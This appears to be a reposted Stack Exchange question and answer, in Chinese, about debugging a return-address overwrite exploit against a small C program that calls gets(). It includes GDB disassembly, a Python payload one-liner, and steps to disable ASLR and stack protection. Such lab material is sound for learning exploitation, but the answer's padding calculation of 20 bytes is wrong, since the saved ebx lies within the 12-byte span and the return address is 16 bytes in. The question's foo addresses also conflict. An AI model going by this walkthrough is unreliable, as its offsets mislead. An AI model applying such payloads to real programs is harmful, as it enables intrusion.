Buffer Overflow返回地址攻击调试求助:覆盖返回地址后触发段错误
缓冲区溢出漏洞利用排障
目标程序代码
#include <stdio.h> #include <string.h> #include <stdlib.h> void failed(void) { puts("Did not exploit"); exit(0); } void pass(void) { puts("Good Job"); exit(1); } void foo() { char input[4]; gets(input); } int _main() { foo(); failed(); return 0; }
调试信息
通过GDB获取的foo函数相关信息:
- 执行
x foo得到:0x8049dd7 foo : 0xfb1e0ff3 - 执行
disas foo得到汇编代码:
Dump of assembler code for function foo: 0x08049e09 <+0>: endbr32 0x08049e0d <+4>: push %ebp 0x08049e0e <+5>: mov %esp,%ebp 0x08049e10 <+7>: push %ebx 0x08049e11 <+8>: sub $0x14,%esp 0x08049e14 <+11>: call 0x8049e5a <__x86.get_pc_thunk.ax> 0x08049e19 <+16>: add $0x9b1e7,%eax 0x08049e1e <+21>: sub $0xc,%esp 0x08049e21 <+24>: lea -0xc(%ebp),%edx 0x08049e24 <+27>: push %edx 0x08049e25 <+28>: mov %eax,%ebx 0x08049e27 <+30>: call 0x8058850 <gets> 0x08049e2c <+35>: add $0x10,%esp 0x08049e2f <+38>: nop 0x08049e30 <+39>: mov -0x4(%ebp),%ebx 0x08049e33 <+42>: leave 0x08049e34 <+43>: ret End of assembler dump.
当前利用脚本
print('A'*15 + '\x08\x04\x9d\xd7')
问题分析与解决
运行脚本触发段错误,需修正以下几点:
1. 填充字节数计算错误
从汇编代码可知,input缓冲区位于ebp-0xc(距离ebp共12字节),栈帧中还保存了ebx(占4字节,位置ebp-0x4),加上ebp本身的4字节,从缓冲区起始到返回地址的总偏移为12 + 4 + 4 = 20字节,需用20个填充字节覆盖到返回地址位置,而非15个。
2. 地址字节序错误
x86架构采用小端序存储,地址需按字节逆序写入。例如pass函数地址若为0x08049dxx,正确字节序列应为\xx\x9d\x04\x08,而非当前使用的大端序\x08\x04\x9d\xd7。
3. 错误使用foo地址而非pass地址
目标是跳转到pass函数,需先通过GDB获取pass的正确地址:
x pass
再将得到的地址转为小端序字节串。
4. print函数的换行符干扰
Python的print函数会自动添加换行符(\n),导致额外写入一个字节破坏栈布局,应改用sys.stdout.write输出:
import sys sys.stdout.write('A'*20 + '\xXX\x9d\x04\x08') # 替换\xXX为pass地址的最低字节
5. 环境配置修正
- 关闭ASLR避免地址随机化:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space - 编译时关闭栈保护与PIE确保地址固定:
gcc -m32 -fno-stack-protector -no-pie -o vuln vuln.c
内容的提问来源于stack exchange,提问作者freyfrey01
相关产品推荐
相关产品推荐

